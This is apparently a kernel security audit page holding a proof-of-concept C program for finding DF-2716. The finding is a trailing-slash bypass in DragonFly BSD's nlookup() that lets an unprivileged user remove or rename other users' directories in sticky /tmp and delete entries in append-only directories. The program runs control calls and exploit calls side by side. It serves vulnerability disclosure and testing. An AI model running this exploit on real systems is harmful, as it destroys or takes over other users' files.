DragonFlyBSD Kernel Audit
DF-2716 / df2716.c
← back to finding ↓ download raw
/*
 * DF-2716 - DragonFly BSD kernel nlookup() trailing-slash dflags bypass
 *
 * sys/kern/vfs_nlookup.c nlookup() collects directory feedback flags
 * (NLC_STICKY / NLC_APPENDONLY / NLC_IMMUTABLE) into `dflags` only when
 *
 *      *nptr != '/'   &&   (nl_flags & NLC_MODIFYING_MASK)
 *
 * (vfs_nlookup.c:653-660).  For a path whose LEAF component is followed by
 * a trailing '/', nptr points at that '/', so the leaf's parent directory
 * is misclassified as an intermediate directory and its feedback flags are
 * never collected.  The final leaf naccess() at vfs_nlookup.c:1213 runs
 * with dflags == 0, so naccess_lva() (vfs_nlookup.c:1902) never sees
 * NLC_STICKY and the sticky-bit deletion restriction is not enforced.
 * Same for the append-only-directory rule (NLC_APPENDONLY,
 * vfs_nlookup.c:1838).
 *
 * Result: an unprivileged user can rmdir()/rename() *other users'*
 * directories inside a sticky (mode +t) world-writable directory such as
 * /tmp, and can delete entries in an append-only directory - by simply
 * appending a trailing slash to the path.
 *
 * Build:  cc -o df2716 df2716.c
 * Run:    ./df2716 <phase>     (phases a1 a2 a3 a4 a5 b1 b2; see run.sh)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

static char BASE[128];
static char BASEB[128];

static void
report(const char *op, const char *a, const char *b, int rc)
{
	if (rc < 0)
		printf("%-8s(%-26s%s%s) = -1 errno=%d (%s)\n", op, a,
		    b ? ", " : "", b ? b : "", errno, strerror(errno));
	else
		printf("%-8s(%-26s%s%s) = 0   *** SUCCESS ***\n", op, a,
		    b ? ", " : "", b ? b : "");
}

int
main(int argc, char **argv)
{
	const char *phase;
	const char *env;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <a1|a2|a3|a4|a5|b1|b2>\n", argv[0]);
		exit(2);
	}
	env = getenv("DF2716_BASE");
	if (env == NULL || *env == 0)
		env = "/tmp/df2716";
	snprintf(BASE, sizeof(BASE), "%s", env);
	env = getenv("DF2716_BASEB");
	if (env == NULL || *env == 0)
		env = "/tmp/df2716b";
	snprintf(BASEB, sizeof(BASEB), "%s", env);

	phase = argv[1];
	printf("phase=%s uid=%d euid=%d base=%s baseb=%s\n", phase,
	    getuid(), geteuid(), BASE, BASEB);

	char p_victim[256], p_victim_sl[256], p_stolen[256];
	char p_own[256], p_dst_sl[256], p_sub[256], p_sub_sl[256];

	snprintf(p_victim, sizeof(p_victim), "%s/victim", BASE);
	snprintf(p_victim_sl, sizeof(p_victim_sl), "%s/victim/", BASE);
	snprintf(p_stolen, sizeof(p_stolen), "%s/df2716_stolen", BASE);
	snprintf(p_own, sizeof(p_own), "%s/df2716_own_dir", BASE);
	snprintf(p_dst_sl, sizeof(p_dst_sl), "%s/victim/", BASE);
	snprintf(p_sub, sizeof(p_sub), "%s/sub", BASEB);
	snprintf(p_sub_sl, sizeof(p_sub_sl), "%s/sub/", BASEB);

	if (strcmp(phase, "a1") == 0)		/* control: sticky enforced */
		report("rmdir", p_victim, NULL, rmdir(p_victim));
	else if (strcmp(phase, "a2") == 0)	/* BUG: trailing slash */
		report("rmdir", p_victim_sl, NULL, rmdir(p_victim_sl));
	else if (strcmp(phase, "a3") == 0)	/* control */
		report("rename", p_victim, p_stolen,
		    rename(p_victim, p_stolen));
	else if (strcmp(phase, "a4") == 0)	/* BUG: src trailing slash */
		report("rename", p_victim_sl, p_stolen,
		    rename(p_victim_sl, p_stolen));
	else if (strcmp(phase, "a5") == 0)	/* BUG: dst trailing slash */
		report("rename", p_own, p_dst_sl,
		    rename(p_own, p_dst_sl));
	else if (strcmp(phase, "b1") == 0)	/* control: sappnd enforced */
		report("rmdir", p_sub, NULL, rmdir(p_sub));
	else if (strcmp(phase, "b2") == 0)	/* BUG: trailing slash */
		report("rmdir", p_sub_sl, NULL, rmdir(p_sub_sl));
	else {
		fprintf(stderr, "bad phase\n");
		exit(2);
	}
	return (0);
}